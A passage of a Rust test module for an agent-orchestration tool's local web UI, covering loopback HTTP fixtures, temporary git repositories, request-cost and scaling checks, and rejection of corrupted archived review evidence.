11774        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11775        assert_eq!(holder_of(&m, None), Some("nobody"));
11776    }
11777
11778    fn stub_config() -> Config {
11779        // An explicit roster, so the result never depends on which agent CLIs
11780        // this machine has installed.
11781        Config {
11782            agents: vec![crate::config::AgentSpec {
11783                id: "stub".to_owned(),
11784                kind: AgentKind::Command,
11785                model: None,
11786                command: vec!["true".to_owned()],
11787                extra_args: Vec::new(),
11788                env: Default::default(),
11789                prompt_delivery: None,
11790                max_turn_secs: None,
11791            }],
11792            ..Config::default()
11793        }
11794    }
11795
11796    fn plain_question(seat: &str) -> Question {
11797        Question::new(
11798            String::new(),
11799            "n".to_owned(),
11800            seat.to_owned(),
11801            "s".to_owned(),
11802            String::new(),
11803            Vec::new(),
11804        )
11805    }
11806
11807    #[test]
11808    fn deputies_enabled_follows_the_config() {
11809        let on = stub_config();
11810        assert!(crate::deputy::can_start(Some(&on), ""));
11811        assert!(crate::deputy::can_start(Some(&on), "stub"));
11812        let mut off = on.clone();
11813        off.daemon.max_deputies = 0;
11814        assert!(!crate::deputy::can_start(Some(&off), ""));
11815        let mut empty = on;
11816        empty.agents.clear();
11817        assert!(!crate::deputy::can_start(Some(&empty), ""));
11818        assert!(!crate::deputy::can_start(None, ""));
11819    }
11820
11821    #[test]
11822    fn question_views_load_the_config_once() {
11823        let dir = TempDir::new().unwrap();
11824        let store = ask::Questions::at(dir.path().to_path_buf());
11825        let mut with_deputy = plain_question("b");
11826        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11827        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11828
11829        let calls = std::cell::Cell::new(0usize);
11830        let views = question_views(qs.clone(), &store, || {
11831            calls.set(calls.get() + 1);
11832            Some(stub_config())
11833        });
11834        assert_eq!(calls.get(), 1);
11835        assert_eq!(views.len(), 3);
11836        for (v, q) in views.iter().zip(&qs) {
11837            assert_eq!(
11838                v.deputies_enabled,
11839                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11840            );
11841        }
11842
11843        let views = question_views(qs, &store, || None);
11844        assert!(views.iter().all(|v| !v.deputies_enabled));
11845
11846        let calls = std::cell::Cell::new(0usize);
11847        let views = question_views(Vec::new(), &store, || {
11848            calls.set(calls.get() + 1);
11849            None
11850        });
11851        assert!(views.is_empty());
11852        assert_eq!(calls.get(), 0);
11853    }
11854
11855    use pretty_assertions::assert_eq;
11856    use serde_json::Value;
11857    use tempfile::TempDir;
11858    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11859
11860    use super::*;
11861
11862    // Embedded assets preserve checkout line endings. Source assertions use
11863    // logical lines, independent of the platform's checkout conversion.
11864    static APP_JS: std::sync::LazyLock<String> =
11865        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11866    static APP_CSS: std::sync::LazyLock<String> =
11867        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11868    use crate::config::Config;
11869    use crate::queue::Source;
11870
11871    /// How many 10ms steps a settle loop takes before it calls a stall a
11872    /// stall - thirty seconds.
11873    ///
11874    /// These loops wait on real `sh` subprocesses, and the machine that runs
11875    /// the gate runs several suites at once, so a two-second budget was not
11876    /// waiting for the reply, it was racing the scheduler: two of these
11877    /// tests failed under that load with the turn simply not landed yet.
11878    /// This is a hang guard, not a latency assertion - every loop breaks the
11879    /// moment its condition holds, so a generous cap costs an idle machine
11880    /// nothing and still fails a genuine hang instead of hanging the suite.
11881    const SETTLE_STEPS: usize = 3_000;
11882
11883    /// A home with a queue and a runs directory, and a router serving it on
11884    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11885    /// dependency, not ours - so the tests drive a real socket, which has the
11886    /// side benefit of asserting the status line and content types the phone
11887    /// actually receives.
11888    struct Fixture {
11889        home: TempDir,
11890        addr: SocketAddr,
11891    }
11892
11893    impl Fixture {
11894        async fn start() -> Self {
11895            Self::with_loop(launch_idle).await
11896        }
11897
11898        /// A fixture whose loop is `launch`.
11899        async fn with_loop(launch: Launch) -> Self {
11900            let home = TempDir::new().expect("temp home");
11901            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11902            Self { home, addr }
11903        }
11904
11905        /// A fixture whose `ui.repo` is a real directory rather than the
11906        /// usual placeholder - for the routes that read config off it
11907        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11908        async fn with_repo(repo: PathBuf) -> Self {
11909            let home = TempDir::new().expect("temp home");
11910            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11911            Self { home, addr }
11912        }
11913
11914        /// As [`Fixture::with_repo`], with the machine-config file the
11915        /// settings screen reads and writes.
11916        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11917            let home = TempDir::new().expect("temp home");
11918            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11919            Self { home, addr }
11920        }
11921
11922        async fn serve(
11923            home: &FsPath,
11924            repo: PathBuf,
11925            launch: Launch,
11926            machine: Option<PathBuf>,
11927        ) -> SocketAddr {
11928            let queue = Queue::at(home.join("queue"));
11929            let runs = home.join("runs");
11930            std::fs::create_dir_all(&runs).expect("runs dir");
11931            let worktrees = home.join("wt").join("magi");
11932            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11933            let ui = Ui::new(
11934                queue,
11935                Questions::at(home.join("questions")),
11936                Talks::at(home.join("talks")),
11937                runs,
11938                home.to_path_buf(),
11939                repo,
11940            )
11941            .with_worktrees_root(worktrees)
11942            .with_machine_config(machine)
11943            .with_launch(launch);
11944            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11945                .await
11946                .expect("bind loopback");
11947            let addr = listener.local_addr().expect("local addr");
11948            tokio::spawn(async move {
11949                let router = ui
11950                    .router()
11951                    .layer(axum::middleware::from_fn(request_cost::observe));
11952                let _ = axum::serve(listener, router).await;
11953            });
11954            addr
11955        }
11956
11957        fn queue(&self) -> Queue {
11958            Queue::at(self.home.path().join("queue"))
11959        }
11960
11961        fn questions(&self) -> Questions {
11962            Questions::at(self.home.path().join("questions"))
11963        }
11964
11965        fn talks(&self) -> Talks {
11966            Talks::at(self.home.path().join("talks"))
11967        }
11968
11969        fn runs(&self) -> PathBuf {
11970            self.home.path().join("runs")
11971        }
11972
11973        async fn get(&self, path: &str) -> Res {
11974            request(self.addr, "GET", path, None).await
11975        }
11976
11977        /// The status and headers without the body, which is how the front end
11978        /// preflights a panel: a sandboxed frame is opaque to the parent
11979        /// document, so the only way to tell "no panel" from "a panel that
11980        /// rendered blank" is to ask before mounting.
11981        async fn head(&self, path: &str) -> Res {
11982            request(self.addr, "HEAD", path, None).await
11983        }
11984
11985        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11986            request(self.addr, "POST", path, body).await
11987        }
11988
11989        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11990            request_with(self.addr, "GET", path, None, extra).await
11991        }
11992
11993        async fn delete(&self, path: &str) -> Res {
11994            request(self.addr, "DELETE", path, None).await
11995        }
11996
11997        async fn put(&self, path: &str, body: &str) -> Res {
11998            request(self.addr, "PUT", path, Some(body)).await
11999        }
12000
12001        /// `POST` a raw body with its own headers - see [`request_bytes`].
12002        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
12003            request_bytes(self.addr, path, headers, body).await
12004        }
12005    }
12006
12007    /// Real tracking refs exercise the successful discovery path (including
12008    /// extraction), rather than counting cheap failures on a placeholder repo.
12009    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
12010        let tmp = TempDir::new().unwrap();
12011        let mut repos = Vec::new();
12012        for name in ["one", "two"] {
12013            let repo = tmp.path().join(name);
12014            let origin = tmp.path().join(format!("{name}.git"));
12015            std::fs::create_dir_all(&repo).unwrap();
12016            crate::git::git(&repo, &["init", "-b", "main"])
12017                .await
12018                .unwrap();
12019            std::fs::write(
12020                repo.join("magi.toml"),
12021                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
12022            )
12023            .unwrap();
12024            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
12025            crate::git::git(
12026                &repo,
12027                &[
12028                    "-c",
12029                    "user.name=fixture",
12030                    "-c",
12031                    "user.email=fixture@example.invalid",
12032                    "commit",
12033                    "-m",
12034                    "fixture",
12035                ],
12036            )
12037            .await
12038            .unwrap();
12039            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
12040                .await
12041                .unwrap();
12042            crate::git::git(
12043                &repo,
12044                &["remote", "add", "origin", origin.to_str().unwrap()],
12045            )
12046            .await
12047            .unwrap();
12048            crate::git::git(&repo, &["push", "origin", "main"])
12049                .await
12050                .unwrap();
12051            crate::git::git(
12052                &repo,
12053                &[
12054                    "symbolic-ref",
12055                    "refs/remotes/origin/HEAD",
12056                    "refs/remotes/origin/main",
12057                ],
12058            )
12059            .await
12060            .unwrap();
12061            let (cfg, _) = Config::discover(&repo, None).unwrap();
12062            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
12063            repos.push(repo);
12064        }
12065        let repos: [PathBuf; 2] = repos.try_into().unwrap();
12066        (tmp, repos)
12067    }
12068
12069    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
12070        let (tmp, repos) = performance_repositories().await;
12071        let machine = tmp.path().join("machine.toml");
12072        std::fs::write(&machine, "").unwrap();
12073        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
12074        (tmp, repos, fx)
12075    }
12076
12077    fn seed_performance(
12078        fx: &Fixture,
12079        repos: &[PathBuf; 2],
12080        questions: usize,
12081        runs: usize,
12082        items: usize,
12083    ) {
12084        // Saving states directly never starts a run or changes MAGI_HOME.
12085        for i in fx.questions().list().len()..questions {
12086            let mut question = Question::new(
12087                "20261001-000000-0000".into(),
12088                "implement".into(),
12089                "impl-A".into(),
12090                format!("question {i}"),
12091                "context".into(),
12092                vec!["yes".into(), "no".into()],
12093            );
12094            question.id = format!("20261003-000000-{i:04x}");
12095            fx.questions().put(&mut question).unwrap();
12096        }
12097        for i in run_ids(&fx.runs()).len()..runs {
12098            write_run_repo(
12099                &fx.runs(),
12100                &format!("20261001-000000-{i:04x}"),
12101                RunStatus::Ready,
12102                repos[i % 2].to_str().unwrap(),
12103            );
12104        }
12105        for i in fx.talks().list().len()..items {
12106            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12107            let mut talk = fx.talks().get(&id).unwrap();
12108            talk.repo = repos[i % 2].clone();
12109            fx.talks().put(&mut talk).unwrap();
12110            let mut task = crate::queue::Task::new(
12111                format!("task {i}"),
12112                "instruction".into(),
12113                repos[i % 2].clone(),
12114                crate::queue::Source::Agent {
12115                    run: id,
12116                    node: crate::queue::CHAT_NODE.into(),
12117                },
12118            );
12119            task.id = format!("20261004-000000-{i:04x}");
12120            fx.queue().put(&mut task).unwrap();
12121            // Notices has a production retention cap; seed up to that cap.
12122            if i < crate::notices::CAP {
12123                Notices::at(fx.home.path().join("notifications"))
12124                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12125                    .unwrap();
12126            }
12127        }
12128        assert_eq!(fx.questions().list().len(), questions);
12129        assert_eq!(run_ids(&fx.runs()).len(), runs);
12130        assert_eq!(fx.talks().list().len(), items);
12131        assert_eq!(fx.queue().list().len(), items);
12132        assert_eq!(
12133            Notices::at(fx.home.path().join("notifications"))
12134                .list()
12135                .len(),
12136            items.min(crate::notices::CAP)
12137        );
12138    }
12139
12140    #[tokio::test]
12141    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12142        let home = TempDir::new().unwrap();
12143        let root = home.path().canonicalize().unwrap();
12144        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12145        let fx = Fixture { home, addr };
12146        let repo = root.as_path().join("archive-repo");
12147        std::fs::create_dir(&repo).unwrap();
12148        crate::git::git(&repo, &["init", "-b", "main"])
12149            .await
12150            .unwrap();
12151        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12152            .await
12153            .unwrap();
12154        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12155            .await
12156            .unwrap();
12157        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12158            .await
12159            .unwrap();
12160        std::fs::write(repo.join("source"), "base").unwrap();
12161        crate::git::git(&repo, &["add", "."]).await.unwrap();
12162        crate::git::git(&repo, &["commit", "-m", "base"])
12163            .await
12164            .unwrap();
12165        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12166        std::fs::write(repo.join("source"), "archived review").unwrap();
12167        crate::git::git(&repo, &["commit", "-am", "review"])
12168            .await
12169            .unwrap();
12170        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12171        let mut config = Config::default();
12172        config.graph.worktree_root = Some(root.as_path().join("copies"));
12173        let mut state = RunState::new(
12174            repo.clone(),
12175            "main".into(),
12176            base.clone(),
12177            "archive".into(),
12178            config,
12179        );
12180        state.id = "20260101-000000-ef05".into();
12181        state.status = RunStatus::Ready;
12182        state.save_under(root.as_path()).unwrap();
12183        let evidence =
12184            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12185                .await
12186                .unwrap();
12187        let base_evidence =
12188            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12189                .await
12190                .unwrap();
12191        let source = state.worktree_root().join("review-1");
12192        let mut contents = std::collections::BTreeMap::new();
12193        contents.insert(
12194            repo.join("logs/HEAD"),
12195            format!("{base} {head} fixture\n").into_bytes(),
12196        );
12197        let record = serde_json::json!({
12198            "version":1, "run":state.id, "source":source, "head":head,
12199            "evidence":evidence, "admin":{}, "admin_contents":contents,
12200            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12201        });
12202        std::fs::write(
12203            fx.runs()
12204                .join(&state.id)
12205                .join("artifacts/eviction-review-1.json"),
12206            serde_json::to_vec(&record).unwrap(),
12207        )
12208        .unwrap();
12209        std::fs::remove_dir_all(&repo).unwrap();
12210        let url = format!("/api/runs/{}/seat-evidence", state.id);
12211        let list = fx.get(&url).await;
12212        assert_eq!(list.status, 200, "{}", list.body);
12213        assert_eq!(list.json()[&head], "review-1");
12214        let patch = fx.get(&format!("{url}/{head}")).await;
12215        assert_eq!(patch.status, 200, "{}", patch.body);
12216        assert!(patch.body.contains("+archived review"));
12217        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12218        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12219        assert_eq!(fx.get(&url).await.status, 404);
12220        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12221    }
12222
12223    fn request_counts(res: &Res) -> (usize, usize) {
12224        assert_eq!(res.status, 200, "{}", res.body);
12225        (
12226            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12227            res.header("x-test-git").unwrap().parse().unwrap(),
12228        )
12229    }
12230
12231    #[tokio::test]
12232    async fn list_request_cost_is_independent_of_record_count() {
12233        let mut previous = None;
12234        for n in [4, 60] {
12235            // Health refreshes configuration on a detached thread. Run it
12236            // last and give each scale its own repository/cache so that
12237            // refresh cannot warm the next measured cold extraction.
12238            let (_tmp, repos, fx) = performance_fixture().await;
12239            seed_performance(&fx, &repos, n, n, n);
12240            let mut costs = Vec::new();
12241            for (path, discoveries) in [
12242                ("/api/questions", 1),
12243                ("/api/talks", 0),
12244                ("/api/stats", 1),
12245                ("/api/health", 0),
12246            ] {
12247                // Equal cold extraction caches at both scales; this also
12248                // bounds first-request cost instead of only warmed requests.
12249                for repo in &repos {
12250                    let cache = repo.join(".git/magi/config");
12251                    if cache.exists() {
12252                        std::fs::remove_dir_all(cache).unwrap();
12253                    }
12254                }
12255                let cost = request_counts(&fx.get(path).await);
12256                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12257                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12258                assert!(
12259                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12260                    "{path}: {cost:?}"
12261                );
12262                costs.push(cost);
12263            }
12264            if let Some(previous) = previous {
12265                assert_eq!(costs, previous);
12266            }
12267            previous = Some(costs);
12268        }
12269        // runs reads shared row inputs and probes process liveness; queue
12270        // builds one blocker inventory; notifications reads its own store.
12271        // None discovers configuration or spawns git per item.
12272    }
12273
12274    /// The same handler path without transport, so the deterministic cause
12275    /// can also be checked in environments that prohibit binding sockets.
12276    #[tokio::test]
12277    async fn list_handler_cost_without_transport() {
12278        let mut previous = None;
12279        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12280            // As in the transport test, isolate each scale from the previous
12281            // health request's detached configuration refresh.
12282            let (_tmp, repos) = performance_repositories().await;
12283            let fx = Fixture {
12284                home: TempDir::new().unwrap(),
12285                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12286            };
12287            let ui = Arc::new(
12288                Ui::new(
12289                    fx.queue(),
12290                    fx.questions(),
12291                    fx.talks(),
12292                    fx.runs(),
12293                    fx.home.path().to_path_buf(),
12294                    repos[0].clone(),
12295                )
12296                .with_worktrees_root(fx.home.path().join("wt")),
12297            );
12298            seed_performance(&fx, &repos, n, runs, items);
12299            let mut costs = Vec::new();
12300            for endpoint in ["questions", "talks", "stats", "health"] {
12301                for repo in &repos {
12302                    let cache = repo.join(".git/magi/config");
12303                    if cache.exists() {
12304                        std::fs::remove_dir_all(cache).unwrap();
12305                    }
12306                }
12307                let (_, cost) = request_cost::measure(async {
12308                    match endpoint {
12309                        "questions" => {
12310                            let _ = questions_list(State(ui.clone())).await.unwrap();
12311                        }
12312                        "talks" => {
12313                            let _ = talks_list(
12314                                State(ui.clone()),
12315                                Query(ListQuery {
12316                                    limit: None,
12317                                    ids: None,
12318                                }),
12319                                header::HeaderMap::new(),
12320                            )
12321                            .await
12322                            .unwrap();
12323                        }
12324                        "health" => {
12325                            let _ = health(State(ui.clone())).await.unwrap();
12326                        }
12327                        _ => {
12328                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12329                                .await
12330                                .unwrap();
12331                        }
12332                    }
12333                })
12334                .await;
12335                eprintln!("{endpoint} handler N={n}: {cost:?}");
12336                assert_eq!(
12337                    cost.0,
12338                    if matches!(endpoint, "talks" | "health") {
12339                        0
12340                    } else {
12341                        1
12342                    },
12343                    "{endpoint}"
12344                );
12345                assert!(
12346                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12347                    "{endpoint}: {cost:?}"
12348                );
12349                costs.push(cost);
12350            }
12351            if let Some(previous) = previous {
12352                assert_eq!(costs, previous);
12353            }
12354            previous = Some(costs);
12355        }
12356    }
12357
12358    #[tokio::test]
12359    async fn monitor_and_periodic_update_recheck_git_cost() {
12360        let (tmp, repos) = performance_repositories().await;
12361        let fx = Fixture {
12362            home: TempDir::new().unwrap(),
12363            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12364        };
12365        let ui = Arc::new(
12366            Ui::new(
12367                fx.queue(),
12368                fx.questions(),
12369                fx.talks(),
12370                fx.runs(),
12371                fx.home.path().to_path_buf(),
12372                repos[0].clone(),
12373            )
12374            .with_worktrees_root(fx.home.path().join("wt")),
12375        );
12376        let cache = repos[0].join(".git/magi/config");
12377        if cache.exists() {
12378            std::fs::remove_dir_all(&cache).unwrap();
12379        }
12380
12381        let (_, monitor_cost) = request_cost::measure(async {
12382            let mut snapshot = None;
12383            for _ in 0..20 {
12384                let state = Arc::clone(&ui);
12385                snapshot = Some(
12386                    tokio::task::spawn_blocking(request_cost::carry(move || {
12387                        monitor_scan(&state, snapshot)
12388                    }))
12389                    .await
12390                    .unwrap(),
12391                );
12392            }
12393        })
12394        .await;
12395        assert_eq!(monitor_cost, (0, 0));
12396
12397        // The idle update worker, unlike the revision monitor, reads config.
12398        let (_, cold_cost) = request_cost::measure(async {
12399            for _ in 0..20 {
12400                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12401            }
12402        })
12403        .await;
12404        assert_eq!(cold_cost, (20, 21));
12405
12406        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12407        // working tree, then fetch; the next scan must immediately observe the
12408        // new committed `magi.toml`.
12409        let origin = tmp.path().join("one.git");
12410        let pusher = tmp.path().join("pusher-one");
12411        crate::git::git(
12412            tmp.path(),
12413            &[
12414                "clone",
12415                "-b",
12416                "main",
12417                origin.to_str().unwrap(),
12418                pusher.to_str().unwrap(),
12419            ],
12420        )
12421        .await
12422        .unwrap();
12423        std::fs::write(
12424            pusher.join("magi.toml"),
12425            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12426        )
12427        .unwrap();
12428        crate::git::git(&pusher, &["add", "magi.toml"])
12429            .await
12430            .unwrap();
12431        crate::git::git(
12432            &pusher,
12433            &[
12434                "-c",
12435                "user.name=fixture",
12436                "-c",
12437                "user.email=fixture@example.invalid",
12438                "commit",
12439                "-m",
12440                "bump implementers",
12441            ],
12442        )
12443        .await
12444        .unwrap();
12445        crate::git::git(&pusher, &["push", "origin", "main"])
12446            .await
12447            .unwrap();
12448        crate::git::git(&repos[0], &["fetch", "origin"])
12449            .await
12450            .unwrap();
12451
12452        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12453        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12454        assert_eq!(moved_cost, (1, 2));
12455        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12456        assert_eq!(observed_again, observed);
12457        assert_eq!(warm_cost, (1, 1));
12458    }
12459
12460    #[tokio::test]
12461    async fn list_request_cost_scopes_do_not_mix() {
12462        let (_tmp, repos, fx) = performance_fixture().await;
12463        seed_performance(&fx, &repos, 10, 0, 10);
12464        let (questions, talks, notices) = tokio::join!(
12465            fx.get("/api/questions"),
12466            fx.get("/api/talks"),
12467            fx.get("/api/notifications")
12468        );
12469        assert_eq!(request_counts(&questions).0, 1);
12470        // Cached summaries perform no config discovery or git work, even
12471        // alongside the questions request that still discovers config.
12472        assert_eq!(request_counts(&talks), (0, 0));
12473        assert_eq!(request_counts(&notices), (0, 0));
12474    }
12475
12476    #[tokio::test]
12477    async fn list_endpoints_large_home_responses() {
12478        check_large_home_endpoints(false).await;
12479    }
12480
12481    #[tokio::test]
12482    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12483    async fn list_endpoints_large_home_ceiling() {
12484        check_large_home_endpoints(true).await;
12485    }
12486
12487    async fn check_large_home_endpoints(timed: bool) {
12488        let (_tmp, repos, fx) = performance_fixture().await;
12489        seed_performance(&fx, &repos, 200, 300, 400);
12490        let mut failures = Vec::new();
12491        // app.js boot/change loads plus the initial dashboard, settings and
12492        // repo picker. SSE is a persistent stream, not a bounded GET.
12493        for path in [
12494            "/",
12495            "/app.js",
12496            "/app.css",
12497            "/api/questions",
12498            "/api/runs?limit=300",
12499            "/api/queue",
12500            "/api/talks",
12501            "/api/notifications",
12502            "/api/health",
12503            "/api/stats",
12504            "/api/loop",
12505            "/api/settings",
12506            "/api/repos",
12507        ] {
12508            let start = std::time::Instant::now();
12509            let result = if timed {
12510                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12511            } else {
12512                Ok(fx.get(path).await)
12513            };
12514            let elapsed = start.elapsed();
12515            eprintln!("{path}: {elapsed:?}");
12516            match result {
12517                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12518                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12519                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12520            }
12521        }
12522        assert!(failures.is_empty(), "{}", failures.join("\n"));
12523    }
12524
12525    struct Res {
12526        status: u16,
12527        headers: String,
12528        /// The header block with its original casing, for the assertions that
12529        /// compare a header *value* rather than looking for a name. Lowercasing
12530        /// a CSP would hide a directive spelled with a capital letter, and the
12531        /// whole point of that test is that the string is exactly right.
12532        head: String,
12533        body: String,
12534        /// The body before any UTF-8 handling, for the routes that serve
12535        /// something other than text. A panel asset is a PNG as often as not,
12536        /// and `from_utf8_lossy` would silently replace half of it.
12537        bytes: Vec<u8>,
12538    }
12539
12540    impl Res {
12541        fn json(&self) -> Value {
12542            serde_json::from_str(&self.body)
12543                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12544        }
12545
12546        /// One header's value verbatim, or `None` when it was not sent.
12547        fn header(&self, name: &str) -> Option<&str> {
12548            self.head.lines().find_map(|line| {
12549                let (key, value) = line.split_once(':')?;
12550                key.trim()
12551                    .eq_ignore_ascii_case(name)
12552                    .then(|| value.trim_start().trim_end_matches('\r'))
12553            })
12554        }
12555    }
12556
12557    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12558    /// be read to end-of-stream without parsing framing.
12559    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12560        request_with(addr, method, path, body, &[]).await
12561    }
12562
12563    /// As [`request`], with extra request headers - conditional GETs need
12564    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12565    /// worse than one that sets none.
12566    async fn request_with(
12567        addr: SocketAddr,
12568        method: &str,
12569        path: &str,
12570        body: Option<&str>,
12571        extra: &[(&str, &str)],
12572    ) -> Res {
12573        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12574        for (name, value) in extra {
12575            head.push_str(&format!("{name}: {value}\r\n"));
12576        }
12577        if let Some(body) = body {
12578            head.push_str("Content-Type: application/json\r\n");
12579            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12580        }
12581        head.push_str("\r\n");
12582        if let Some(body) = body {
12583            head.push_str(body);
12584        }
12585        let mut socket = tokio::net::TcpStream::connect(addr)
12586            .await
12587            .expect("connect to the test server");
12588        socket
12589            .write_all(head.as_bytes())
12590            .await
12591            .expect("write request");
12592        let mut raw = Vec::new();
12593        socket.read_to_end(&mut raw).await.expect("read response");
12594        // Split on the raw bytes rather than on a lossy string, so a binary
12595        // body survives to be compared byte for byte.
12596        let split = raw
12597            .windows(4)
12598            .position(|w| w == b"\r\n\r\n")
12599            .expect("a header block");
12600        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12601        let bytes = raw[split + 4..].to_vec();
12602        let status = head
12603            .lines()
12604            .next()
12605            .and_then(|line| line.split_whitespace().nth(1))
12606            .and_then(|code| code.parse().ok())
12607            .expect("a status line");
12608        Res {
12609            status,
12610            headers: head.to_lowercase(),
12611            head,
12612            body: String::from_utf8_lossy(&bytes).into_owned(),
12613            bytes,
12614        }
12615    }
12616
12617    /// A `POST` carrying a raw binary body and its own headers, for the
12618    /// attachment upload route - `request_with` only ever sends
12619    /// `Content-Type: application/json`, which is wrong for an image and
12620    /// would corrupt anything not valid UTF-8 by round-tripping it through
12621    /// `&str` first.
12622    async fn request_bytes(
12623        addr: SocketAddr,
12624        path: &str,
12625        headers: &[(&str, &str)],
12626        body: &[u8],
12627    ) -> Res {
12628        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12629        for (name, value) in headers {
12630            head.push_str(&format!("{name}: {value}\r\n"));
12631        }
12632        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12633        let mut socket = tokio::net::TcpStream::connect(addr)
12634            .await
12635            .expect("connect to the test server");
12636        socket
12637            .write_all(head.as_bytes())
12638            .await
12639            .expect("write request head");
12640        socket.write_all(body).await.expect("write request body");
12641        let mut raw = Vec::new();
12642        socket.read_to_end(&mut raw).await.expect("read response");
12643        let split = raw
12644            .windows(4)
12645            .position(|w| w == b"\r\n\r\n")
12646            .expect("a header block");
12647        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12648        let bytes = raw[split + 4..].to_vec();
12649        let status = head
12650            .lines()
12651            .next()
12652            .and_then(|line| line.split_whitespace().nth(1))
12653            .and_then(|code| code.parse().ok())
12654            .expect("a status line");
12655        Res {
12656            status,
12657            headers: head.to_lowercase(),
12658            head,
12659            body: String::from_utf8_lossy(&bytes).into_owned(),
12660            bytes,
12661        }
12662    }
12663
12664    /// A run on disk, without touching the process-global magi home.
12665    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12666        let mut state = RunState::new(
12667            PathBuf::from("/repo/magi"),
12668            "main".to_owned(),
12669            "0123456789abcdef".to_owned(),
12670            "Add a web UI\n\nMobile first.".to_owned(),
12671            Config::default(),
12672        );
12673        state.id = id.to_owned();
12674        state.status = status;
12675        let dir = runs.join(id);
12676        std::fs::create_dir_all(&dir).expect("run dir");
12677        std::fs::write(
12678            dir.join("run.json"),
12679            serde_json::to_string_pretty(&state).expect("serialize run"),
12680        )
12681        .expect("write run.json");
12682    }
12683
12684    /// Same as [`write_run`], but against a named repository rather than the
12685    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12686    /// spread across more than one.
12687    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12688        let mut state = RunState::new(
12689            PathBuf::from(repo),
12690            "main".to_owned(),
12691            "0123456789abcdef".to_owned(),
12692            "task".to_owned(),
12693            Config::default(),
12694        );
12695        state.id = id.to_owned();
12696        state.status = status;
12697        let dir = runs.join(id);
12698        std::fs::create_dir_all(&dir).expect("run dir");
12699        std::fs::write(
12700            dir.join("run.json"),
12701            serde_json::to_string_pretty(&state).expect("serialize run"),
12702        )
12703        .expect("write run.json");
12704    }
12705
12706    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
